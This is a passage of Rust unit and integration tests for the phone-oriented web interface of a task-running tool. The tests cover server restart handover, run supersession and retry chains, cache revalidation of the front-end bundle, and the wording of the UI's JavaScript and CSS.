22818    async fn handover_releases_listener_without_waiting_for_execution_leases() {
22819        let home = TempDir::new().expect("temp home");
22820        let ui = idle_ui(&home);
22821        let turns = ui
22822            .begin_talk_turn("active-chat")
22823            .expect("claim")
22824            .expect("free");
22825        let execution = crate::worker::try_lease(home.path(), "active-task")
22826            .expect("execution lease")
22827            .expect("free");
22828        let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
22829            .await
22830            .expect("bind loopback");
22831        let address = listener.local_addr().expect("address");
22832        let admissions = Arc::clone(&ui.admissions);
22833        let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
22834        let successor_started = std::sync::atomic::AtomicBool::new(false);
22835        tokio::time::timeout(
22836            Duration::from_secs(2),
22837            hand_over(home.path(), &admissions, served, || {
22838                successor_started.store(true, std::sync::atomic::Ordering::SeqCst);
22839                Ok(1)
22840            }),
22841        )
22842        .await
22843        .expect("restart must not wait for execution")
22844        .expect("handover");
22845        assert!(successor_started.load(std::sync::atomic::Ordering::SeqCst));
22846        // BSD may retain the address briefly after listener release. The real
22847        // successor uses the same bounded bind retry rather than a one-shot bind.
22848        let successor = bind_waiting(address)
22849            .await
22850            .expect("successor binds released address");
22851        assert_eq!(successor.local_addr().unwrap(), address);
22852        assert!(turns.owns(), "the chat lease survives restart");
22853        assert!(
22854            crate::worker::try_lease(home.path(), "active-task")
22855                .unwrap()
22856                .is_none()
22857        );
22858        drop(execution);
22859        drop(turns);
22860    }
22861
22862    #[tokio::test]
22863    async fn handover_drains_admission_but_never_waits_for_the_chat_turn() {
22864        let home = TempDir::new().expect("temp home");
22865        let ui = idle_ui(&home);
22866        let admission = ui.begin_admission().expect("admit send");
22867        let turn = ui
22868            .begin_talk_turn("active-chat")
22869            .expect("claim")
22870            .expect("free");
22871        let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
22872            .await
22873            .expect("bind loopback");
22874        let address = listener.local_addr().expect("address");
22875        let served = tokio::spawn(axum::serve(listener, ui.clone().router()).into_future());
22876        let successor_called = std::sync::atomic::AtomicBool::new(false);
22877        let handover = hand_over(home.path(), &ui.admissions, served, || {
22878            successor_called.store(true, std::sync::atomic::Ordering::SeqCst);
22879            Ok(1)
22880        });
22881        tokio::pin!(handover);
22882        // Poll exactly to the writer waiting on our admission guard. This
22883        // pins the race without sleeps or assumptions about task scheduling.
22884        std::future::poll_fn(|cx| {
22885            assert!(std::future::Future::poll(handover.as_mut(), cx).is_pending());
22886            std::task::Poll::Ready(())
22887        })
22888        .await;
22889        assert!(!successor_called.load(std::sync::atomic::Ordering::SeqCst));
22890        assert!(
22891            ui.begin_admission().is_err(),
22892            "new ingress cannot race the drain"
22893        );
22894        assert_eq!(request(address, "GET", "/api/loop", None).await.status, 200);
22895        drop(admission);
22896        tokio::time::timeout(Duration::from_secs(2), handover)
22897            .await
22898            .expect("only publication may delay restart")
22899            .expect("handover");
22900        assert!(successor_called.load(std::sync::atomic::Ordering::SeqCst));
22901        assert!(
22902            turn.owns(),
22903            "the detached chat turn is not awaited or cancelled"
22904        );
22905        assert!(
22906            ui.begin_admission().is_err(),
22907            "old accepted connections stay closed"
22908        );
22909        drop(turn);
22910    }
22911
22912    #[test]
22913    fn health_worker_metadata_never_contains_payload_or_result() {
22914        let view = WorkerView::from(crate::worker::Job {
22915            id: "job".into(),
22916            sequence: 1,
22917            kind: "service".into(),
22918            key: "maintenance".into(),
22919            payload: serde_json::json!({"env": {"TOKEN": "private"}}),
22920            generation: "generation".into(),
22921            version: Some("1.2.3".into()),
22922            status: crate::worker::Status::Running,
22923            result: Some("private diagnostics".into()),
22924            pid: Some(4242),
22925            created_at: 1,
22926            finished_at: None,
22927        });
22928        let value = serde_json::to_value(view).expect("serialize public metadata");
22929        assert_eq!(value["version"], "1.2.3");
22930        assert_eq!(value["pid"], 4242);
22931        assert!(value.get("payload").is_none());
22932        assert!(value.get("result").is_none());
22933        assert!(!value.to_string().contains("private"));
22934    }
22935
22936    #[test]
22937    fn upgraded_scheduler_remains_owned_by_a_replacement_web() {
22938        let home = TempDir::new().expect("temp home");
22939        let ui = idle_ui(&home);
22940        std::fs::write(
22941            home.path().join("daemon.json"),
22942            serde_json::json!({
22943                "schema": 2, "pid": 4242, "worker_protocol": 1,
22944                "updated_at": Timestamp::now().to_string(), "idle": true,
22945            })
22946            .to_string(),
22947        )
22948        .expect("status");
22949        let reading = daemon::read_status(home.path());
22950        assert!(Foreign::of(reading.as_ref()).is_none());
22951        let view = ui.runtime_loop_view(reading, &[]);
22952        assert!(view.running);
22953        assert!(view.owned);
22954    }
22955
22956    #[test]
22957    fn only_an_explicit_one_requests_a_resume() {
22958        assert!(!resume_requested(None));
22959        assert!(!resume_requested(Some("0".into())));
22960        assert!(!resume_requested(Some("".into())));
22961        assert!(resume_requested(Some("1".into())));
22962    }
22963
22964    #[test]
22965    fn an_error_is_visible_from_where_the_button_is() {
22966        // The alert used to sit in the flow under the header. On a phone
22967        // scrolled 13 500 px down to a run's action sheet that is off screen,
22968        // so tapping Resume and being told "the loop is running run b455
22969        // right now" looked exactly like a button that did nothing.
22970        let alert = &APP_CSS[APP_CSS.find(".alert {").expect(".alert")
22971            ..APP_CSS.find(".alert-text").expect(".alert-text")];
22972        assert!(
22973            alert.contains("position: fixed"),
22974            "an error about the thing under your thumb has to be visible from \
22975             where your thumb is: {alert}"
22976        );
22977        assert!(
22978            alert.contains("z-index: 25"),
22979            "above the dock (20) and the run-actions FAB (15), so neither \
22980             buries it: {alert}"
22981        );
22982        assert!(
22983            alert.contains("var(--tap)"),
22984            "and clear of the dock and the home indicator: {alert}"
22985        );
22986        // The FAB sits at the same height on the right. An error that covered
22987        // it would hide the button the operator reaches for next.
22988        assert!(
22989            alert.contains("var(--s4) + var(--tap) + var(--s3)"),
22990            "the FAB's column stays free: {alert}"
22991        );
22992    }
22993
22994    #[tokio::test]
22995    async fn an_older_attempt_says_what_replaced_it() {
22996        let fx = Fixture::start().await;
22997        let q = fx.queue();
22998        let runs = fx.runs();
22999        let (first, second) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
23000        write_run(&runs, first, RunStatus::Stalled);
23001        write_run(&runs, second, RunStatus::Blocked);
23002
23003        let mut t = Task::new(
23004            "one task".to_owned(),
23005            "do it".to_owned(),
23006            PathBuf::from("/repo"),
23007            Source::Human,
23008        );
23009        t.runs = vec![first.to_owned(), second.to_owned()];
23010        q.put(&mut t).expect("put");
23011
23012        // Two cards with the same title and no hint which is which was the
23013        // question: "why are there two of the same, one stalled and one
23014        // blocked?" The older one now names its replacement.
23015        let rows = fx.get("/api/runs").await.json();
23016        let by = |short: &str| -> Value {
23017            rows.as_array()
23018                .unwrap()
23019                .iter()
23020                .find(|r| r["short"] == short)
23021                .cloned()
23022                .unwrap_or(Value::Null)
23023        };
23024        assert_eq!(by("aaaa")["superseded_by"], "bbbb");
23025        assert!(
23026            by("bbbb")["superseded_by"].is_null(),
23027            "the latest attempt is not superseded by anything"
23028        );
23029        // Front end: the note has to be rendered, not just carried.
23030        assert!(APP_JS.contains("run.superseded_by"));
23031        assert!(APP_JS.contains("Superseded by"));
23032    }
23033
23034    fn outcome_task(runs: &[&str], status: TaskStatus) -> Task {
23035        let mut t = Task::new(
23036            "one task".to_owned(),
23037            "do it".to_owned(),
23038            PathBuf::from("/repo"),
23039            Source::Human,
23040        );
23041        t.runs = runs.iter().map(|r| (*r).to_owned()).collect();
23042        t.status = status;
23043        t
23044    }
23045
23046    #[test]
23047    fn source_link_picks_the_page_that_filed_the_task() {
23048        let agent = |node: &str| Source::Agent {
23049            run: "20260904-014455-ab12".to_owned(),
23050            node: node.to_owned(),
23051        };
23052        let chat = source_link(&agent("chat")).expect("chat link");
23053        assert_eq!(chat.kind, "chat");
23054        assert_eq!(chat.id, "20260904-014455-ab12");
23055        assert_eq!(chat.href, "#/chat/20260904-014455-ab12");
23056        let run = source_link(&agent("implement")).expect("run link");
23057        assert_eq!(
23058            (run.kind, run.href.as_str()),
23059            ("run", "#/runs/20260904-014455-ab12")
23060        );
23061        assert_eq!(source_link(&Source::Human), None);
23062        assert_eq!(
23063            source_link(&Source::Issue {
23064                number: 3,
23065                repo: "o/r".to_owned()
23066            }),
23067            None
23068        );
23069        let odd = source_link(&Source::Agent {
23070            run: "a b/c".to_owned(),
23071            node: "chat".to_owned(),
23072        })
23073        .expect("link");
23074        assert_eq!(odd.href, "#/chat/a%20b%2Fc");
23075    }
23076
23077    #[test]
23078    fn the_ui_reads_the_source_link_instead_of_guessing_a_route() {
23079        assert!(
23080            !APP_JS.contains("src.node === \"chat\""),
23081            "inline href rule is back"
23082        );
23083        assert!(
23084            APP_JS.matches("sourceLinkOf(").count() >= 4,
23085            "helper must serve every page"
23086        );
23087        assert!(
23088            APP_JS.matches("openChatLink(").count() >= 3,
23089            "the run page still needs its explicit chat link"
23090        );
23091        assert!(
23092            !APP_JS.contains("const openChat = el("),
23093            "the Queue card duplicates its source label link again"
23094        );
23095        assert!(
23096            APP_JS.contains("metaKids.push(link ? el(\"a\""),
23097            "the task page must link a chat source label too"
23098        );
23099    }
23100
23101    #[test]
23102    fn task_ref_carries_the_source_link_for_a_chat_task() {
23103        let mut t = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
23104        t.source = Source::Agent {
23105            run: "20260904-014455-ab12".to_owned(),
23106            node: "chat".to_owned(),
23107        };
23108        let out = task_outcome(&t, "20260901-000000-aaaa", 3, |_| None);
23109        let v = serde_json::to_value(&out).expect("json");
23110        assert_eq!(v["source_link"]["kind"], "chat", "{v}");
23111        assert_eq!(v["source_link"]["href"], "#/chat/20260904-014455-ab12");
23112        assert_eq!(v["source_label"], t.source.label());
23113
23114        let human = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
23115        let v = serde_json::to_value(task_outcome(&human, "20260901-000000-aaaa", 3, |_| None))
23116            .expect("json");
23117        assert!(v["source_link"].is_null(), "{v}");
23118    }
23119
23120    #[test]
23121    fn task_view_serializes_source_link() {
23122        let mut t = Task::new(
23123            "t".to_owned(),
23124            "t".to_owned(),
23125            PathBuf::from("/repo"),
23126            Source::Agent {
23127                run: "20260901-000000-aaaa".to_owned(),
23128                node: "implement".to_owned(),
23129            },
23130        );
23131        t.runs.clear();
23132        let v = serde_json::to_value(TaskView::from(t)).expect("json");
23133        assert_eq!(v["source_link"]["kind"], "run", "{v}");
23134        assert_eq!(v["source_link"]["href"], "#/runs/20260901-000000-aaaa");
23135    }
23136
23137    #[test]
23138    fn task_view_serializes_urgent_flag() {
23139        let mut t = Task::new(
23140            "t".to_owned(),
23141            "t".to_owned(),
23142            PathBuf::from("/repo"),
23143            Source::Human,
23144        );
23145        let v = serde_json::to_value(TaskView::from(t.clone())).expect("json");
23146        assert_eq!(v["urgent"], false, "{v}");
23147        t.urgent = true;
23148        let v = serde_json::to_value(TaskView::from(t)).expect("json");
23149        assert_eq!(v["urgent"], true, "{v}");
23150        assert!(APP_JS.contains("task.urgent === true"));
23151    }
23152
23153    #[tokio::test]
23154    async fn a_blocked_run_reports_the_task_finishing_elsewhere() {
23155        let fx = Fixture::start().await;
23156        let runs = fx.runs();
23157        let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
23158        write_run(&runs, old, RunStatus::Blocked);
23159        write_run(&runs, new, RunStatus::Merged);
23160        let mut t = outcome_task(&[old, new], TaskStatus::Done);
23161        fx.queue().put(&mut t).expect("put");
23162
23163        let view = fx.get(&format!("/api/runs/{old}")).await.json();
23164        let task = &view["task"];
23165        assert_eq!(task["status"], "done");
23166        assert_eq!(task["is_latest"], false);
23167        assert_eq!(task["latest"]["short"], "bbbb");
23168        assert_eq!(task["finished_by"]["id"], new);
23169        assert_eq!(task["finished_by"]["outcome"], "merged");
23170        assert_eq!(task["closed_by_hand"], false);
23171        assert_eq!(view["status"], "blocked", "the run keeps its own status");
23172        assert!(APP_JS.contains("finished_by"));
23173        assert!(APP_JS.contains("superseded by run"));
23174    }
23175
23176    #[tokio::test]
23177    async fn the_latest_run_reports_a_held_task_without_a_successor() {
23178        let fx = Fixture::start().await;
23179        let runs = fx.runs();
23180        let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
23181        write_run(&runs, old, RunStatus::Stalled);
23182        write_run(&runs, new, RunStatus::Blocked);
23183        let mut t = outcome_task(&[old, new], TaskStatus::Held);
23184        fx.queue().put(&mut t).expect("put");
23185
23186        let task = fx.get(&format!("/api/runs/{new}")).await.json()["task"].clone();
23187        assert_eq!(task["status"], "held");
23188        assert_eq!(task["is_latest"], true);
23189        assert!(task["latest"].is_null());
23190        assert!(task["finished_by"].is_null());
23191        assert_eq!(task["closed_by_hand"], false);
23192    }
23193
23194    #[tokio::test]
23195    async fn a_direct_run_has_no_task_outcome() {
23196        let fx = Fixture::start().await;
23197        let runs = fx.runs();
23198        let id = "20260901-000000-aaaa";
23199        write_run(&runs, id, RunStatus::Blocked);
23200        let view = fx.get(&format!("/api/runs/{id}")).await.json();
23201        assert!(view["task"].is_null());
23202    }
23203
23204    #[test]
23205    fn task_outcome_does_not_guess_a_finishing_run() {
23206        let a = "20260901-000000-aaaa";
23207        let b = "20260901-000000-bbbb";
23208        let c = "20260901-000000-cccc";
23209        let dir = tempfile::tempdir().expect("tempdir");
23210        write_run(dir.path(), a, RunStatus::Blocked);
23211        write_run(dir.path(), b, RunStatus::VerifiedNoop);
23212        // `c` has no record: unreadable.
23213        let read = |id: &str| read_run(dir.path(), id).ok();
23214        // Neither a blocked run nor a no-op finished the task; the newest run is
23215        // unreadable and still named.
23216        let t = outcome_task(&[a, b, c], TaskStatus::Done);
23217        let out = task_outcome(&t, a, 3, read);
23218        assert!(out.finished_by.is_none());
23219        assert!(out.closed_by_hand);
23220        let latest = out.latest.expect("latest");
23221        assert_eq!(latest.id, c);
23222        assert_eq!(latest.status, None);
23223        assert_eq!(latest.outcome, "record unreadable");
23224
23225        // A Ready run settles the task as done, so it is named as the finisher.
23226        write_run(dir.path(), c, RunStatus::Ready);
23227        let t = outcome_task(&[a, c], TaskStatus::Done);
23228        let out = task_outcome(&t, a, 3, |id| read_run(dir.path(), id).ok());
23229        assert_eq!(out.finished_by.expect("finisher").id, c);
23230        assert!(!out.closed_by_hand);
23231
23232        // A resumed run id repeats: it is still the latest by id.
23233        let t = outcome_task(&[a, b, a], TaskStatus::Held);
23234        assert!(task_outcome(&t, a, 3, read).is_latest);
23235    }
23236
23237    #[tokio::test]
23238    async fn a_run_s_own_detail_page_says_what_replaced_it_too() {
23239        // The list route has known this since the card fix above; the detail
23240        // route — what an operator actually opens from a notification about
23241        // a blocked run — did not, and went on showing a bare red BLOCKED
23242        // chip for a run a retry had already finished.
23243        let fx = Fixture::start().await;
23244        let q = fx.queue();
23245        let runs = fx.runs();
23246        let (first, second) = ("20260901-000000-cccc", "20260901-000000-dddd");
23247        write_run(&runs, first, RunStatus::Blocked);
23248        write_run(&runs, second, RunStatus::Merged);
23249
23250        let mut t = Task::new(
23251            "one task".to_owned(),
23252            "do it".to_owned(),
23253            PathBuf::from("/repo"),
23254            Source::Human,
23255        );
23256        t.runs = vec![first.to_owned(), second.to_owned()];
23257        q.put(&mut t).expect("put");
23258
23259        let earlier = fx.get(&format!("/api/runs/{first}")).await.json();
23260        assert_eq!(earlier["superseded_by"], "dddd");
23261        assert_eq!(earlier["latest_attempt"]["id"], second);
23262        assert_eq!(earlier["latest_attempt"]["short"], "dddd");
23263        assert_eq!(
23264            earlier["latest_attempt"]["resolved"], true,
23265            "the run that replaced it landed, so this one reads as settled"
23266        );
23267
23268        let later = fx.get(&format!("/api/runs/{second}")).await.json();
23269        assert!(
23270            later["superseded_by"].is_null(),
23271            "the latest attempt is not superseded by anything"
23272        );
23273        assert!(
23274            later["latest_attempt"].is_null(),
23275            "the latest attempt has no later attempt of its own"
23276        );
23277
23278        // Front end: the detail page has to read the field this route now
23279        // carries, downgrade the chip, and link to the run that replaced it —
23280        // not just repeat the list card's own logic under a different name.
23281        // The link is built off `latest_attempt.id`, the server-resolved
23282        // full id, never a bare short string a client would have to guess a
23283        // full run from.
23284        assert!(APP_JS.contains("run.latest_attempt"));
23285        assert!(APP_JS.contains("data-superseded"));
23286        assert!(APP_JS.contains("#/runs/${latest.id}"));
23287    }
23288
23289    #[tokio::test]
23290    async fn a_chain_of_retries_points_the_oldest_at_the_current_head() {
23291        // A -> B -> C, all Blocked except the last. A's immediate successor
23292        // (superseded_by) is B, which is itself unresolved; what an operator
23293        // opening A's page actually needs is where the task's story stands
23294        // *now* - C, not B - without depending on whether C happens to be in
23295        // whatever page of /api/runs the client last cached.
23296        let fx = Fixture::start().await;
23297        let q = fx.queue();
23298        let runs = fx.runs();
23299        let (a, b, c) = (
23300            "20260901-000000-aaaa",
23301            "20260901-000000-bbbb",
23302            "20260901-000000-cccc",
23303        );
23304        write_run(&runs, a, RunStatus::Blocked);
23305        write_run(&runs, b, RunStatus::Blocked);
23306        write_run(&runs, c, RunStatus::Merged);
23307
23308        let mut t = Task::new(
23309            "retried twice".to_owned(),
23310            "do it".to_owned(),
23311            PathBuf::from("/repo"),
23312            Source::Human,
23313        );
23314        t.runs = vec![a.to_owned(), b.to_owned(), c.to_owned()];
23315        q.put(&mut t).expect("put");
23316
23317        let view = fx.get(&format!("/api/runs/{a}")).await.json();
23318        assert_eq!(view["superseded_by"], "bbbb", "the immediate successor");
23319        assert_eq!(
23320            view["latest_attempt"]["id"], c,
23321            "the chain's current head, not the intermediate Blocked retry"
23322        );
23323        assert_eq!(view["latest_attempt"]["resolved"], true);
23324
23325        let mid = fx.get(&format!("/api/runs/{b}")).await.json();
23326        assert_eq!(mid["latest_attempt"]["id"], c);
23327        assert_eq!(mid["latest_attempt"]["resolved"], true);
23328    }
23329
23330    #[tokio::test]
23331    async fn an_unresolved_or_unverified_successor_does_not_read_as_finished() {
23332        let fx = Fixture::start().await;
23333        let q = fx.queue();
23334        let runs = fx.runs();
23335
23336        // Still Blocked: the task is not resolved, so the older run must not
23337        // read as settled either.
23338        let (still_blocked_a, still_blocked_b) = ("20260901-000000-e001", "20260901-000000-e002");
23339        write_run(&runs, still_blocked_a, RunStatus::Blocked);
23340        write_run(&runs, still_blocked_b, RunStatus::Blocked);
23341        let mut t1 = Task::new(
23342            "still stuck".to_owned(),
23343            "do it".to_owned(),
23344            PathBuf::from("/repo"),
23345            Source::Human,
23346        );
23347        t1.runs = vec![still_blocked_a.to_owned(), still_blocked_b.to_owned()];
23348        q.put(&mut t1).expect("put");
23349        let view1 = fx.get(&format!("/api/runs/{still_blocked_a}")).await.json();
23350        assert_eq!(view1["latest_attempt"]["resolved"], false);
23351        assert_eq!(view1["latest_attempt"]["status"], "blocked");
23352        assert_eq!(view1["latest_attempt"]["done"], true);
23353
23354        // Still running: the successor exists and must be reported as such.
23355        let (run_a, run_b) = ("20260901-000000-e005", "20260901-000000-e006");
23356        write_run(&runs, run_a, RunStatus::Blocked);
23357        write_run(&runs, run_b, RunStatus::Implementing);
23358        let mut t3 = Task::new(
23359            "retrying".to_owned(),
23360            "do it".to_owned(),
23361            PathBuf::from("/repo"),
23362            Source::Human,
23363        );
23364        t3.runs = vec![run_a.to_owned(), run_b.to_owned()];
23365        q.put(&mut t3).expect("put");
23366        let view3 = fx.get(&format!("/api/runs/{run_a}")).await.json();
23367        assert_eq!(view3["latest_attempt"]["id"], run_b);
23368        assert_eq!(view3["latest_attempt"]["resolved"], false);
23369        assert_eq!(view3["latest_attempt"]["done"], false);
23370
23371        // VerifiedNoop: a candidate's own unconfirmed claim, held for a human
23372        // to check - not a confirmed finish, so this must not read as
23373        // resolved either, even though the run is done in the sense that
23374        // nothing is still running.
23375        let (noop_a, noop_b) = ("20260901-000000-e003", "20260901-000000-e004");
23376        write_run(&runs, noop_a, RunStatus::Blocked);
23377        write_run(&runs, noop_b, RunStatus::VerifiedNoop);
23378        let mut t2 = Task::new(
23379            "claims done".to_owned(),
23380            "do it".to_owned(),
23381            PathBuf::from("/repo"),
23382            Source::Human,
23383        );
23384        t2.runs = vec![noop_a.to_owned(), noop_b.to_owned()];
23385        q.put(&mut t2).expect("put");
23386        let view2 = fx.get(&format!("/api/runs/{noop_a}")).await.json();
23387        assert_eq!(
23388            view2["latest_attempt"]["resolved"], false,
23389            "an unverified no-op claim must not read as a confirmed finish"
23390        );
23391
23392        // Front end: an unresolved successor must not carry the "finished
23393        // this work" note or the muted chip treatment.
23394        assert!(APP_JS.contains("latest.resolved"));
23395        // ...but the link to it shows as soon as it exists, labelled by state
23396        // and without the "finished" wording or the muted chip.
23397        assert!(APP_JS.contains("successorNote(latest, inFlight)"));
23398        assert!(APP_JS.contains("Latest attempt: "));
23399        assert!(APP_JS.contains("in flight"));
23400        assert!(APP_JS.contains("not resolved"));
23401    }
23402
23403    #[tokio::test]
23404    async fn a_replaced_deck_is_not_served_from_a_phone_s_cache() {
23405        let fx = Fixture::start().await;
23406        // No cache header at all meant browsers invented their own policy,
23407        // and one did: a phone went on showing "Candidates must be folded
23408        // before deleting. Run `magi fold` first." - deleted two releases
23409        // earlier - from a deck that no longer contained the sentence. The
23410        // button it named was right there, and unreachable.
23411        let js = fx.get("/app.js").await;
23412        assert_eq!(js.status, 200);
23413        let tag = js
23414            .header("etag")
23415            .expect("an etag to revalidate against")
23416            .to_owned();
23417        assert!(tag.contains(env!("CARGO_PKG_VERSION")), "tag: {tag}");
23418        assert_eq!(
23419            js.header("cache-control"),
23420            Some("no-cache, must-revalidate"),
23421            "the phone has to ask every time"
23422        );
23423
23424        // And the asking has to be cheap, or `must-revalidate` just means
23425        // "send the whole interface on every load".
23426        let again = fx
23427            .get_with("/app.js", &[("if-none-match", tag.as_str())])
23428            .await;
23429        assert_eq!(
23430            again.status, 304,
23431            "a deck it already has costs one round trip"
23432        );
23433        assert!(again.body.is_empty(), "304 carries no body");
23434
23435        // A weakened tag from a proxy still matches; a different build does
23436        // not, which is the case that has to deliver the new interface.
23437        let weak = fx
23438            .get_with("/app.js", &[("if-none-match", &format!("W/{tag}"))])
23439            .await;
23440        assert_eq!(weak.status, 304);
23441        let stale = fx
23442            .get_with("/app.js", &[("if-none-match", "\"0.0.1-1\"")])
23443            .await;
23444        assert_eq!(stale.status, 200, "an older build must be replaced");
23445        assert!(stale.body.contains("renderRunActions"));
23446    }
23447
23448    #[test]
23449    fn the_task_detail_has_an_actions_fab_and_sheet() {
23450        assert!(INDEX_HTML.contains("id=\"task-actions-fab\""));
23451        assert!(INDEX_HTML.contains("id=\"task-actions-sheet\""));
23452        assert!(INDEX_HTML.contains("id=\"task-actions-error\" role=\"alert\""));
23453        // Shown only on the task route, closed everywhere else.
23454        assert!(APP_JS.contains("show($(\"task-actions-fab\"), route.name === \"task\")"));
23455        assert!(APP_JS.contains("if (route.name !== \"task\") closeTaskActions();"));
23456        // Refreshed whenever the detail redraws, including the loading state.
23457        assert!(APP_JS.contains("renderTaskActions(task.coreOnly || error ? null : task);"));
23458        assert!(APP_JS.contains("renderTaskActions(null);"));
23459        // Same renderers and routes as the Queue card, no new endpoint.
23460        let sheet = APP_JS
23461            .find("function renderTaskActions")
23462            .expect("sheet renderer");
23463        let body = &APP_JS[sheet..sheet + 3000];
23464        assert!(body.contains("changePriority("));
23465        assert!(body.contains("openTaskEdit(task)"));
23466        assert!(body.contains("renderTaskHoldBox(host"));
23467        assert!(body.contains("renderTaskDoneBox(host"));
23468        assert!(body.contains("renderTaskDeleteBox(host"));
23469        assert!(APP_JS.contains("API.priority(id)"));
23470        assert!(APP_JS.contains("API.deleteTask(id)"));
23471        // A deleted task sends the operator back to the queue.
23472        assert!(APP_JS.contains("location.hash = \"#/queue\""));
23473        // A refusal is shown inside the sheet.
23474        assert!(APP_JS.contains("$(\"task-actions-error\")"));
23475    }
23476
23477    #[test]
23478    fn the_run_actions_sheet_leads_with_a_way_to_the_task() {
23479        let task = INDEX_HTML.find("id=\"run-task-box\"").expect("task box");
23480        let actions = INDEX_HTML
23481            .find("id=\"run-actions-box\"")
23482            .expect("actions box");
23483        assert!(task < actions, "the task entry comes first in the sheet");
23484        assert!(APP_JS.contains("renderRunTaskEntry"));
23485        assert!(APP_JS.contains("\"Open task \""));
23486        // A run without a task says why there is nothing to open.
23487        assert!(APP_JS.contains("started directly, no task"));
23488        assert!(APP_JS.contains("sheet-task-link"));
23489        assert!(APP_JS.contains("task-chip-link"));
23490    }
23491
23492    #[test]
23493    fn the_deck_never_sends_the_operator_to_a_terminal() {
23494        // The whole point of the phone UI is that a terminal is not needed.
23495        // The delete control used to answer with "Run `magi fold` first."
23496        assert!(
23497            !APP_JS.contains("Run `magi fold` first"),
23498            "the deck must offer the fold, not prescribe a shell command"
23499        );
23500        assert!(APP_JS.contains("foldRun:"));
23501        assert!(APP_JS.contains("resumeRun:"));
23502        assert!(APP_JS.contains("renderRunActions"));
23503
23504        // Folding is destructive and armed in two steps, like deleting.
23505        assert!(APP_JS.contains("armedFold"));
23506        assert!(APP_JS.contains("Yes, fold worktrees"));
23507
23508        // And the copy has to say that the two actions are opposites, because
23509        // folding throws away exactly what a resume would continue from.
23510        assert!(APP_JS.contains("can no longer be resumed"));
23511    }
23512
23513    #[test]
23514    fn a_finished_run_explains_itself_with_its_own_last_line() {
23515        // The deck used to answer "why did this stop?" with a sentence chosen
23516        // by status alone. Run e633 stalled because two judges answered with
23517        // the wrong JSON shape and its card said "The panel collapsed on
23518        // agent quota" - with `quota: []` in the record and a quota-loss
23519        // counter right above it that correctly said nothing.
23520        assert!(
23521            !APP_JS.contains("collapsed on agent quota"),
23522            "a stall must not be explained by a cause the deck did not check"
23523        );
23524        assert!(
23525            !APP_JS.contains("Review rounds ran out with findings still open, or the gate failed"),
23526            "and a block must not offer a guess with an `or` in it"
23527        );
23528
23529        // The reason it does have is `run.event`, which must reach finished
23530        // runs: gating it on movement hid the recorded truth at the one moment
23531        // the operator is reading the card to find out what happened.
23532        assert!(
23533            APP_JS.contains("setText(r.event, run.event || \"\")"),
23534            "the run's last line is rendered unconditionally"
23535        );
23536        assert!(
23537            !APP_JS.contains("moving && run.event"),
23538            "and never gated on the run still moving"
23539        );
23540
23541        // Quota keeps its own counter, fed by the number actually recorded.
23542        assert!(APP_JS.contains("lost to quota"));
23543    }
23544
23545    /// The runs tree (section) and the state chips (waiting/done) are two
23546    /// independent lenses ANDed together in `renderRuns`, and some pairings
23547    /// can never both be true for any run - every "Landed"/"Ended" run is
23548    /// done by construction, so pairing either with "Active" or "In flight"
23549    /// always rendered zero cards with the filter bar still claiming
23550    /// `Showing Ended`. `sectionCompatibleWithStateFilter` exists to catch
23551    /// that before it happens, checked against `REPRESENTATIVE_RUN_SHAPES` -
23552    /// a handful of (waiting, status) shapes standing in for the run
23553    /// lifecycle, because `cargo test` cannot execute the front end.
23554    ///
23555    /// That stand-in list is itself the part that drifted twice in review:
23556    /// once shipped with `waiting: true` paired with a done status the
23557    /// lifecycle cannot produce, then over-corrected into treating every
23558    /// waiting run as never done - which made "Waiting on you" look
23559    /// incompatible with "Done" even for the one real, reachable shape
23560    /// (Stalled/Blocked, both terminal yet still resumable) that is exactly
23561    /// that combination. This test parses the shapes and the done-rule back
23562    /// out of `APP_JS`, reimplements `runSection` and the five state
23563    /// predicates independently in Rust, and checks the resulting
23564    /// section/filter compatibility table against the lifecycle rules by
23565    /// hand - so either direction of drift fails it again.
23566    #[test]
23567    fn runs_tree_sections_and_state_chips_agree_on_what_a_run_can_be() {
23568        let shapes_marker = "const REPRESENTATIVE_RUN_SHAPES = [";
23569        let shapes_body_start =
23570            APP_JS.find(shapes_marker).expect("the shape list exists") + shapes_marker.len();
23571        let shapes_close = APP_JS[shapes_body_start..]
23572            .find("].map(")
23573            .expect("the shape list is closed by its done-computing .map(...)")
23574            + shapes_body_start;
23575        let shapes_src = &APP_JS[shapes_body_start..shapes_close];
23576
23577        let mut shapes: Vec<(bool, String, bool, bool)> = Vec::new();
23578        for entry in shapes_src.split('{').skip(1) {
23579            let waiting = entry.contains("waiting: true");
23580            let dead = entry.contains("live: \"dead\"");
23581            let status_at =
23582                entry.find("status: \"").expect("each shape names a status") + "status: \"".len();
23583            let status_end = entry[status_at..]
23584                .find('"')
23585                .expect("the status string is closed")
23586                + status_at;
23587            let parked = entry.contains("display_status: \"parked\"");
23588            shapes.push((
23589                waiting,
23590                entry[status_at..status_end].to_string(),
23591                dead,
23592                parked,
23593            ));
23594        }
23595        assert!(shapes.len() >= 6, "parsed shapes: {shapes:?}");
23596
23597        // The done rule itself (`!["implementing"].includes(shape.status)`),
23598        // read out of the source rather than hardcoded, so a renamed
23599        // in-flight status can't silently make every parsed shape "done".
23600        let done_rule_marker = "done: !";
23601        let done_rule_at = APP_JS[shapes_close..]
23602            .find(done_rule_marker)
23603            .expect("the done rule follows the shape list")
23604            + shapes_close
23605            + done_rule_marker.len();
23606        let includes_at = APP_JS[done_rule_at..]
23607            .find(".includes(shape.status)")
23608            .expect("the done rule ends in .includes(shape.status)")
23609            + done_rule_at;
23610        let not_done: Vec<&str> = APP_JS[done_rule_at..includes_at]
23611            .trim()
23612            .trim_start_matches('[')
23613            .trim_end_matches(']')
23614            .split(',')
23615            .map(|s| s.trim().trim_matches('"'))
23616            .filter(|s| !s.is_empty())
23617            .collect();
23618
23619        let shapes: Vec<(bool, String, bool, bool, bool)> = shapes
23620            .into_iter()
23621            .map(|(waiting, status, dead, parked)| {
23622                let done = !not_done.contains(&status.as_str());
23623                (waiting, status, dead, parked, done)
23624            })
23625            .collect();
23626
23627        // `runSection` reimplemented from assets/ui/app.js: `waiting` wins
23628        // outright, then merged/ready land, stalled/blocked/failed/
23629        // verified_noop end, and everything else is still in flight.
